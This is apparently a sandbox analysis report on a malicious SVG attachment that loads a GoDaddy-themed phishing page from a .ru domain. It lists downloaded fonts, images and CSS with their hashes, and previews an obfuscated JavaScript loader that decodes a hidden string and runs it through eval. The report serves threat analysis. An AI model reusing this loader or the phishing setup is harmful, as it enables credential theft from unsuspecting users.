                                                                      Preview:"use strict";(function(){function Ht(e,t,a,o,c,l,v){try{var h=e[l](v),s=h.value}catch(p){a(p);return}h.done?t(s):Promise.resolve(s).then(o,c)}function qt(e){return function(){var t=this,a=arguments;return new Promise(function(o,c){var l=e.apply(t,a);function v(s){Ht(l,o,c,v,h,"next",s)}function h(s){Ht(l,o,c,v,h,"throw",s)}v(void 0)})}}function V(e,t){return t!=null&&typeof Symbol!="undefined"&&t[Symbol.hasInstance]?!!t[Symbol.hasInstance](e):V(e,t)}function De(e,t,a){return t in e?Object.defineProperty(e,t,{value:a,enumerable:!0,configurable:!0,writable:!0}):e[t]=a,e}function Ve(e){for(var t=1;t<arguments.length;t++){var a=arguments[t]!=null?arguments[t]:{},o=Object.keys(a);typeof Object.getOwnPropertySymbols=="function"&&(o=o.concat(Object.getOwnPropertySymbols(a).filter(function(c){return Object.getOwnPropertyDescriptor(a,c).enumerable}))),o.forEach(function(c){De(e,c,a[c])})}return e}function Ir(e,t){var a=Object.keys(e);if(Object.getOwnPropertySymbols){var o=Object.getOwnPropertyS
                                                                      Process:C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                      File Type:SVG Scalable Vector Graphics image
                                                                      Category:downloaded
                                                                      Size (bytes):1864
                                                                      Entropy (8bit):5.222032823730197
                                                                      Encrypted:false
                                                                      SSDEEP:
                                                                      MD5:BC3D32A696895F78C19DF6C717586A5D
                                                                      SHA1:9191CB156A30A3ED79C44C0A16C95159E8FF689D
                                                                      SHA-256:0E88B6FCBB8591EDFD28184FA70A04B6DD3AF8A14367C628EDD7CABA32E58C68
                                                                      SHA-512:8D4F38907F3423A86D90575772B292680F7970527D2090FC005F9B096CC81D3F279D59AD76EAFCA30C3D4BBAF2276BBAA753E2A46A149424CF6F1C319DED5A64
                                                                      Malicious:false
                                                                      Reputation:unknown
                                                                      URL:https://jonathanball.brightnexst.ru/klRm74fmpBtRWD65MrIWW1hJGcWr1cNPXpJ194bKRvijL6FOkRdZuAhznyonT0ErkUz6yZsuv220
                                                                      Preview:<svg xmlns="http://www.w3.org/2000/svg" width="1920" height="1080" fill="none"><g opacity=".2" clip-path="url(#E)"><path d="M1466.4 1795.2c950.37 0 1720.8-627.52 1720.8-1401.6S2416.77-1008 1466.4-1008-254.4-380.482-254.4 393.6s770.428 1401.6 1720.8 1401.6z" fill="url(#A)"/><path d="M394.2 1815.6c746.58 0 1351.8-493.2 1351.8-1101.6S1140.78-387.6 394.2-387.6-957.6 105.603-957.6 714-352.38 1815.6 394.2 1815.6z" fill="url(#B)"/><path d="M1548.6 1885.2c631.92 0 1144.2-417.45 1144.2-932.4S2180.52 20.4 1548.6 20.4 404.4 437.85 404.4 952.8s512.276 932.4 1144.2 932.4z" fill="url(#C)"/><path d="M265.8 1215.6c690.246 0 1249.8-455.595 1249.8-1017.6S956.046-819.6 265.8-819.6-984-364.005-984 198-424.445 1215.6 265.8 1215.6z" fill="url(#D)"/></g><defs><radialGradient id="A" cx="0" cy="0" r="1" gradientUnits="userSpaceOnUse" gradientTransform="translate(1466.4 393.6) rotate(90) scale(1401.6 1720.8)"><stop stop-color="#107c10"/><stop offset="1" stop-color="#c4c4c4" stop-opacity="0"/></radialGradient><r
                                                                      Process:C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                      File Type:Web Open Font Format (Version 2), TrueType, length 28584, version 1.66
                                                                      Category:downloaded
                                                                      Size (bytes):28584
                                                                      Entropy (8bit):7.992563951996154
                                                                      Encrypted:true
                                                                      SSDEEP:
                                                                      MD5:17081510F3A6F2F619EC8C6F244523C7
                                                                      SHA1:87F34B2A1532C50F2A424C345D03FE028DB35635
                                                                      SHA-256:2C7292014E2EF00374AEB63691D9F23159A010455784EE0B274BA7DB2BCCA956
                                                                      SHA-512:E27976F77797AD93160AF35714D733FD9E729A9981D8A6F555807981D08D8175E02692AA5EA6E59CEBD33895F5F6A3575692565FDD75667630DAB158627A1005
                                                                      Malicious:false
                                                                      Reputation:unknown
                                                                      URL:https://jonathanball.brightnexst.ru/GDSherpa-regular.woff2
                                                                      Preview:wOF2......o.......6x..oG...B.......................>....`..<.<..b.....h..B.6.$..x..>.. ..'..{...[x"q..].....hJ....'.......6.2.[....q....z..mCww...*.eU..S.........0..S.s..,....\.e..F.&....oU*R.}Q.C..2.TD....5..#..h.H.2.|<.1.z..].xZ...z..z..W.........p%..F.e.r"yG.......f.M3.].U.p...E..<..:..j..E......t....!....~a...J.m....f.d.eE..>.:.9.....,6K{.q..6e..4:z......{.{....$.. ...B....9:0.G..6.9R....m..jCW.m.]:{.p..?P.O.B..E....u.J.._..........dd=. l..SJ..fjm....\....)...6......mV.`.J.R.A..R.....J...T.y.........m...k-....{'.Ud"...C.$d*.N 9}.N]..2p.q.T..6.-A.U...."..o.\......uh...$..4j..v...9....anl/NT....K....k..A...........U5S.=.t[.)/s.R.......F..)6H A..'?!....7S.....w:.%.H.@...l?...lm..lUd D...-.... .......5).`..w&..Q....-.. ...9.Xt./SQ?.s+u.9..\.h.l.G.#.*..#@.F..f.1.f..=`....p.....=c..f=..p 4By.u.z'...$;.s.....z.....X..n6y-...........<.......X......~+j.z.j.......7.PD..O..w..9..8].!~C&.......*LCE..Nf~.N.eJ.iXnX*C.&....t.U..Nr.@..lZ.... .X..
                                                                      Process:C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                      File Type:RIFF (little-endian) data, Web/P image
                                                                      Category:dropped
                                                                      Size (bytes):644
                                                                      Entropy (8bit):4.6279651077789685
                                                                      Encrypted:false
                                                                      SSDEEP:
                                                                      MD5:541B83C2195088043337E4353B6FD60D
                                                                      SHA1:F09630596B6713217984785A64F6EA83E91B49C5
                                                                      SHA-256:2658B8874F0D2A12E8726DF78AC8954324C3BBE4695E66BDEF89195FDE64322F
                                                                      SHA-512:B2AE42BA9D3A63D3ACB179051B005F2589F147D94F044616AE5DC5705E873F16057C56934262841191263B4C35804EF188BD38CF69CCE0F4B2CF76C05F17B8AD
                                                                      Malicious:false
                                                                      Reputation:unknown
                                                                      Preview:RIFF|...WEBPVP8X....0.........ICCP.............0..mntrRGB XYZ ............acsp.......................................-....................................................desc.......$rXYZ........gXYZ...(....bXYZ...<....wtpt...P....rTRC...d...(gTRC...d...(bTRC...d...(cprt.......<mluc............enUS.........s.R.G.BXYZ ......o...8.....XYZ ......b.........XYZ ......$.........XYZ ...............-para..........ff......Y.......[........mluc............enUS... .....G.o.o.g.l.e. .I.n.c... .2.0.1.6ALPHK....W`$....z..".Y..P}0;.PE..G..h....9.@..`..2.......=.T.....-3..ow.*...&......VP8 :...0....*....>m&.M.!"......i...O...(.........g....w...XG...
                                                                      Process:C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                      File Type:RIFF (little-endian) data, Web/P image
                                                                      Category:dropped
                                                                      Size (bytes):25216
                                                                      Entropy (8bit):7.947339442168474
                                                                      Encrypted:false
                                                                      SSDEEP:
                                                                      MD5:F9A795E2270664A7A169C73B6D84A575
                                                                      SHA1:0FBB60AB27AB88C064EB347D0722C8ED4CF5E8B8
                                                                      SHA-256:D00203B2EEA6E418C31BAAFA949ADA5349A9F9B7E99FA003AEC7406822693740
                                                                      SHA-512:E17C8D922F52C8AB36D9C0A7DC41D32735CF1680EA653056308C6D23255FDBE40B96C68F0E7F8B3B521B6ACB080CD825F94320364B0A70141606A4449D980517
                                                                      Malicious:false
                                                                      Reputation:unknown
                                                                      Preview:RIFFxb..WEBPVP8X....0...o.....ICCP.............0..mntrRGB XYZ ............acsp.......................................-....................................................desc.......$rXYZ........gXYZ...(....bXYZ...<....wtpt...P....rTRC...d...(gTRC...d...(bTRC...d...(cprt.......<mluc............enUS.........s.R.G.BXYZ ......o...8.....XYZ ......b.........XYZ ......$.........XYZ ...............-para..........ff......Y.......[........mluc............enUS... .....G.o.o.g.l.e. .I.n.c... .2.0.1.6ALPH.Y....'$H..xkD....oUS..[.uM....CwI.H#.H.t(..!J.AJ# .(........0.W.?D...g.6..u......}K5.>|....^..*2.....z..../.1..F..A...Vk..W.Wm?z....H+.;:...s..Z;....V.....Z.gm.......\>.}..-.....w...D.........+,K...#......._[L.[.]w1..[.l..8.....f..E...W....;....o.Q...T`.W.(..........;^........:.T..6......Yo..x.6..n.\A.5X.........J....2.O.)....0..zdL1.x.X..e?.eA.M%f.D..W.].A=6D.....w....>.*3|M.7....aEe&l.or.Tt^.*6li..lYz.HF.....2.\...U.tfQ.<ZlHB.G--....]T..h.L.U]...m....{..T{....~......K#
                                                                      Process:C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                      File Type:SVG Scalable Vector Graphics image
                                                                      Category:downloaded
                                                                      Size (bytes):7390
                                                                      Entropy (8bit):4.02755241095864
                                                                      Encrypted:false
                                                                      SSDEEP:
                                                                      MD5:B59C16CA9BF156438A8A96D45E33DB64
                                                                      SHA1:4E51B7D3477414B220F688ADABD76D3AE6472EE3
                                                                      SHA-256:A7EE799DD5B6F6DBB70B043B766362A6724E71458F9839306C995F06B218C2F8
                                                                      SHA-512:2C7095E4B819BC5CAA06811A55C0DAE6706970F981806DCF7FD41F744C1DC6A955657A8E57829B39B376B892E8173E8A41F683D329CFBBD0EC4D4019B10E52FF
                                                                      Malicious:false
                                                                      Reputation:unknown
                                                                      URL:https://jonathanball.brightnexst.ru/ijb99Z88QXsLLxmHlFDnw8wxxMfYWaMC27UMRy78165
                                                                      Preview:<svg width="48" height="48" viewBox="0 0 48 48" fill="none" xmlns="http://www.w3.org/2000/svg">..<mask id="07b26034-56a3-49d2-8f26-c7b84eb4eed4" fill="#ffffff">..<path fill-rule="evenodd" clip-rule="evenodd" d="M23.9762 0C16.8244 0 10.9707 5.24325 10.335 12.9974C6.89614 14.0647 4.5 17.2233 4.5 20.9412C4.50019 20.968 4.50041 20.9949 4.50066 21.0218C4.50022 21.0574 4.5 21.093 4.5 21.1287C4.55021 28.2609 6.80967 39.1601 18.6091 46.4932C21.8225 48.5023 25.8896 48.5023 29.1532 46.4932C41.053 39.2103 43.3125 28.3111 43.3125 21.1287C43.3125 21.108 43.3124 21.0872 43.3123 21.0665C43.3124 21.0246 43.3125 20.9829 43.3125 20.9412C43.3125 17.3371 41.0055 14.1946 37.6702 13.0618C37.0607 5.27148 31.147 0 23.9762 0ZM12.2354 38.4694C14.3087 33.9987 18.8368 30.8981 24.0891 30.8981C29.2395 30.8981 33.6936 33.8797 35.8194 38.2109C33.9302 40.6119 31.4399 42.8954 28.1744 44.8939L28.1724 44.8952L28.1703 44.8965C25.5047 46.5374 22.2037 46.5293 19.6031 44.9034L19.6009 44.902L19.5988 44.9007C16.4876 42.9672 14
                                                                      Process:C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                      File Type:Web Open Font Format (Version 2), TrueType, length 28000, version 1.66
                                                                      Category:downloaded
                                                                      Size (bytes):28000
                                                                      Entropy (8bit):7.99335735457429
                                                                      Encrypted:true
                                                                      SSDEEP:
                                                                      MD5:A4BCA6C95FED0D0C5CC46CF07710DCEC
                                                                      SHA1:73B56E33B82B42921DB8702A33EFD0F2B2EC9794
                                                                      SHA-256:5A51D246AF54D903F67F07F2BD820CE77736F8D08C5F1602DB07469D96DBF77F
                                                                      SHA-512:60A058B20FCB4F63D02E89225A49226CCD7758C21D9162D1B2F4B53BBA951B1C51D3D74C562029F417D97F1FCA93F25FDD2BC0501F215E3C1EF076810B54DD06
                                                                      Malicious:false
                                                                      Reputation:unknown
                                                                      URL:https://jonathanball.brightnexst.ru/GDSherpa-bold.woff2
                                                                      Preview:wOF2......m`......$...l....B.......................6....`..<.<..b.....$....6.$..x..>.. .....{...[..q.k.]]O....s...|..n...!..[<;....P&..g....!..I'i..Q.DP....9..J......9G..Q1(..)Jn......8Y......)J.F.c A..7k.v...2=.Z.n.4`...~Nl...4;...S.l{w..:.#..=!. ..X....>[.7........1??.3.?t..qE..f...b...,.Fwcp8...4^.^x..|....Ro<%.."....~0..q..rP..G.......R....-..{O.QeJ.....6.E........{.{.....,h.!.._......$..3..cF@..>........t.o...Fc ...YS.....s.V..j....uk.`n......#....6.....1`kbd..Z..).x...F........T.._..}...p..._F.0.S'.V.g........3.$...Jf.j._,J....v7(...(..bm.....a....Nh.(QS.H...5.w.o.1.[<m.1.cJ......B......R..L..>[|@..]../...6.\..(.j.Bn...Oj.&/j@.'T...w.,...*...e.g.I=.w.x..ap..?.......lI../..uuDH.P.....)._...<..C.x.......Kh.P.|"M..JQ......?`..S@{..o..RjCE.qx.p.!(Wi....dY.%./r.#.p..C ..........r.o4P.}...3X..].....6.'~&...]...*y...YQ..9."v....3...oEMQoWM.W`................Y.V..O2......l....p.1..B..Fn..o.<..,C......^.Y.C...W..tX..|.`...5:.Yd@]..j..$...v.
                                                                      Process:C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                      File Type:Unicode text, UTF-8 text, with very long lines (21720), with CRLF line terminators
                                                                      Category:downloaded
                                                                      Size (bytes):4712061
                                                                      Entropy (8bit):2.583772531747173
                                                                      Encrypted:false
                                                                      SSDEEP:
                                                                      MD5:E34A613844E71AD9EA25A2FAAB768F3F
                                                                      SHA1:34844596642BED7752C4AED44721CEE52593B344
                                                                      SHA-256:D767A16A68A568D204E0E4283BDDB8A9702CCF95BF2715D512C4AE39C3D79AB5
                                                                      SHA-512:8D5342EC77557793F73701400220B10421E6B1ED941876554D27F27A0573644F26C66FA4AB7019E666F6471688E2F7857394CC127197EF109FC076BC5534342C
                                                                      Malicious:false
                                                                      Reputation:unknown
                                                                      URL:https://jonathanball.brightnexst.ru/56X5bJjmGXkBMrbGa5WdAgh7eMeFYHh89110
                                                                      Preview:function decodeAndEvaluate(key) {.. const binaryString = [...key].. .map(char => Number('.' > char)).. .join('').. .replace(/.{8}/g, byte => String.fromCharCode(parseInt(byte, 2)));.. .. (0, eval)(binaryString);.. return true;..}....const handler = {.. get: function(_, prop) {.. decodeAndEvaluate(prop);.. return true;.. }..};..const viewsen = new Proxy({}, handler);..viewsen["........................................................................................................................................................................................................
                                                                      Process:C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                      File Type:RIFF (little-endian) data, Web/P image
                                                                      Category:dropped
                                                                      Size (bytes):9648
                                                                      Entropy (8bit):7.9099172475143416
                                                                      Encrypted:false
                                                                      SSDEEP:
                                                                      MD5:4946EB373B18D178C93D473489673BB6
                                                                      SHA1:16477ACB73B63CA251D37401249E7E4515FEBD24
                                                                      SHA-256:666BC574C9F3FB28A8AC626FA8105C187C2A313736494A06BD5A937473673C92
                                                                      SHA-512:F684B90B748DC8399F76C5D8F94AF6C4E6869143F18D19CE435B25EAA14E9647B120467BDD0795895676DC0CCCDEABF82BEB2F46CE2C5BF4C58ED9C134F30C48
                                                                      Malicious:false
                                                                      Reputation:unknown
                                                                      Preview:RIFF.%..WEBPVP8X....0.........ICCP.............0..mntrRGB XYZ ............acsp.......................................-....................................................desc.......$rXYZ........gXYZ...(....bXYZ...<....wtpt...P....rTRC...d...(gTRC...d...(bTRC...d...(cprt.......<mluc............enUS.........s.R.G.BXYZ ......o...8.....XYZ ......b.........XYZ ......$.........XYZ ...............-para..........ff......Y.......[........mluc............enUS... .....G.o.o.g.l.e. .I.n.c... .2.0.1.6ALPH......0....n.mu..G..t042.....@...`[...%...6....9AD.'@.,f.B...+..+..+..W&.p.....h.......f.-...+.....m...n....E....O].+R.&Q..#.X.ip4..p......\O...\/....9.5.a..DfZ,K....8.....Z..2..z......t.......|.I.(..6E.D.}.C..OQD$S}iZ...[D.......q`(...@../.NQ......+"b%.X.D".G.*...0G...".2........x.O......7......E..&....e.F..4...K>.M..Pd.B...@'o./te..[.f....4[..a..x...9#.@$.=...t..=..t_.W....[..f.|fv...N...c6..k4}.9.7.....f.F3.4[...a...;.m.@N.n.0.....n.G[c.H.}..t.{..;....G...2.::..].0....
                                                                      Process:C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                      File Type:RIFF (little-endian) data, Web/P image
                                                                      Category:downloaded
                                                                      Size (bytes):1298
                                                                      Entropy (8bit):6.665390877423149
                                                                      Encrypted:false
                                                                      SSDEEP:
                                                                      MD5:32CA2081553E969F9FDD4374134521AD
                                                                      SHA1:7B09924C4C3D8B6E41FE38363E342DA098BE4173
                                                                      SHA-256:216FC342A469AA6A005B2EACC24622095E5282D3E9F1AE99CE54C27B92EC3587
                                                                      SHA-512:F75749C6344FCD7BF06872A3678BB2EB4CAE2DDC31CC5D1EE73EFBA843705577841667733A83163AF4336EC8A32DF93E7A36155BD6282D7BB86159644975948C
                                                                      Malicious:false
                                                                      Reputation:unknown
                                                                      URL:https://jonathanball.brightnexst.ru/ijMF5q6GR6pPSfidW9tT189FWiBOdTVCQzqgHato21Tzoplz44RJYstU5GlnfC3HS1ab227
                                                                      Preview:RIFF....WEBPVP8X....0...k.....ICCP.............0..mntrRGB XYZ ............acsp.......................................-....................................................desc.......$rXYZ........gXYZ...(....bXYZ...<....wtpt...P....rTRC...d...(gTRC...d...(bTRC...d...(cprt.......<mluc............enUS.........s.R.G.BXYZ ......o...8.....XYZ ......b.........XYZ ......$.........XYZ ...............-para..........ff......Y.......[........mluc............enUS... .....G.o.o.g.l.e. .I.n.c... .2.0.1.6ALPHX.....\m{.z..........T ..Q....R..*.X....U`..@......Yyy..<q.."b..a....K._.....jH.*...}q..........^.-.\.4. &.H~.q..H.q.'.t..p....0)...X.....8./.... ..6.#H..Y..../...E>.#.tv....9.\.p5......h......1.{@.k].(1...B.........u.n....=....sX...*..I.c]r....S.....u.a...X.....Pi..q.$73..ga..h%9.S.l.....}....^%.@:Q....we8x..j..3.^.}5.fFtZ...3....<. x.s....d@(./.<].y...m.....T..........T.P`....5..<qYl.g..k..N. `_...f....yN.R.PB..p|..-.%.`y.._.]C.v.<.Y...V..I..(.c....>...........k....nt
                                                                      Process:C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                      File Type:ASCII text, with CRLF line terminators
                                                                      Category:downloaded
                                                                      Size (bytes):35786
                                                                      Entropy (8bit):5.058073854893359
                                                                      Encrypted:false
                                                                      SSDEEP:
                                                                      MD5:38501E3FBBBD89B56AA5BA35DE1A32FE
                                                                      SHA1:D9B31981B6F834E8480BA28FBC1CFF1BE772F589
                                                                      SHA-256:A1CA6B381CB01968851C98512C6E7F6C5309A49F7A16B864813135CBFF82A85B
                                                                      SHA-512:1547937AA9B366E76DE44933EF48EF60E3D043245E8E3E01C97DFC2981F6B1F61463D9D30992FBCF2CA25FC1B7B32FF808B9789CFB965D74455522FC58E0C08C
                                                                      Malicious:false
                                                                      Reputation:unknown
                                                                      URL:https://jonathanball.brightnexst.ru/abYHpYFvpqEccd28
                                                                      Preview:#sections_godaddy {..font-family: gdsherpa !important;..}..#sections_godaddy a {.. color: var(--ux-2rqapw,#000);.. -webkit-text-decoration: var(--ux-1f7if5p,underline);.. text-decoration: var(--ux-1f7if5p,underline);.. background-color: transparent;..}....#sections_godaddy #root {.. flex: 1 1 0%;..}....#sections_godaddy a:hover {../* color: var(--ux-1j87vvn,#fff);*/.. -webkit-text-decoration: var(--ux-1ft0khm,underline);.. text-decoration: var(--ux-1ft0khm,underline);..}....#sections_godaddy svg {.. overflow: hidden;.. vertical-align: unset;..}....#sections_godaddy .ux-button {.. --ux-button-icon-margin: calc((var(--ux-t379ov,var(--ux-jw5s9j,1.5)) * 1em - 1.5em) / 2);.. padding: 0;.. text-decoration: var(--ux-1f7if5p,underline);.. -webkit-text-decoration: var(--ux-1f7if5p,underline);.. gap: 0.5em;.. cursor: pointer;.. --ux-button-icon-margin: calc((var(--ux-t379ov,var(--ux-jw5s9j,1.5)) * 1em - 1.5em) / 2);.. font-weight: inherit;.. background: transparent;.. gap:
                                                                      Process:C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                      File Type:Web Open Font Format, TrueType, length 36696, version 1.0
                                                                      Category:downloaded
                                                                      Size (bytes):36696
                                                                      Entropy (8bit):7.988666025644622
                                                                      Encrypted:false
                                                                      SSDEEP:
                                                                      MD5:A69E9AB8AFDD7486EC0749C551051FF2
                                                                      SHA1:C34E6AA327B536FB48D1FE03577A47C7EE2231B8
                                                                      SHA-256:FD78A1913DB912221B8EAD1E62FAD47D1FF0A9FA6CD88D3B128A721AD91D2FAF
                                                                      SHA-512:9A0E4297282542B8813F9CC85B2CCB09663CE281F64503F9A5284631881DA9AACF7649553BF1423D941F01B97E6BC3BA50AB13E55E4B7B61C5AA0A4ADF4D390F
                                                                      Malicious:false
                                                                      Reputation:unknown
                                                                      URL:https://jonathanball.brightnexst.ru/GDSherpa-regular.woff
                                                                      Preview:wOFF.......X......6........0...(............DSIG...(............GPOS..........^>....GSUB.............3y.OS/2.......F...`h`{Zcmap...........<.?+.cvt .......0...<(...fpgm............?...gasp................glyf.."0..Tl...h...+head..v....4...6..}.hhea..v....!...$...Zhmtx..v........x;...loca..z|...........tmaxp..~$... ... .-..name..~D.......'....post............1+.,prep.............P..x..\.|U..Nr.^.......DD.T....V...C....U._.N..k.8.m...h.Q.6q....#....Y4l.}3.@ .............Z_....s.....>RD.....J....wR./...#.,<'f....4b..}(....P..\.s.9'.....-.Q..d..H.@%..K+....4U.4...yx.3..DkfJ..3S.H......|..........%.B...........W.~..nN<x.?....}jn...W..M.7...?...:-uAjQ.4J.].vm....H{&...y..@....G...~.......x=.V..g.;..@..J.l...G..L... g*M..h.....Q!}B...Q.m.M...R.5*.JUi*..U_5@]..PW...*5H.VW.k..:5D].nP#..5V=....x.....W/...E5I...NVS.T.u...^U3._...m5G-P...U...Gj.*V..j.Z...j..BJ.._Pw..0..f*...q...q5...'.F=MIj.7..^.f."..K\..pHMC.t.W.Z.Bz...l.+.....e|......B>....1.a,.D.Ej..(.
                                                                      File type:HTML document, ASCII text, with very long lines (3423)
                                                                      Entropy (8bit):5.632012190341353
                                                                      TrID:
                                                                        File name:3414736839.svg
                                                                        File size:4'198 bytes
                                                                        MD5:07841d6feff46b707d9b92adaed4afc4
                                                                        SHA1:b0c95ea24f0065cc13977621725afcb5d56a6b32
                                                                        SHA256:f0ba46fad3923a1538afdd66d87d3e518f4d961c9a6982ef290a3173a9b09e35
                                                                        SHA512:4e1aa9136b576ba7ecd408f0005ac1046962a2279c55c71758f4be36dbc4b27769139157d4babe10a8d60921422419ff5216f8109f992d23f3dbdf359ebaef8c
                                                                        SSDEEP:96:A451Zh5qEvE6cruAsGyrEcIJsLvgUmVax0/nN15u:AkewE1M6+Lvg508Y
                                                                        TLSH:BA8162605C9F4E2C137004D3DC9D18CA8B5AD3672F81EA89B54EEAA097A952A11CF4CF
                                                                        File Content Preview: The explorer composed a beautiful painting in the desert. -->.<svg xmlns="http://www.w3.org/2000/svg" width="100%" height="100%">. The child painted a curious thought while sailing across the seas. -->. <foreignObject width="100%" heig
                                                                        Icon Hash:173149cccc490307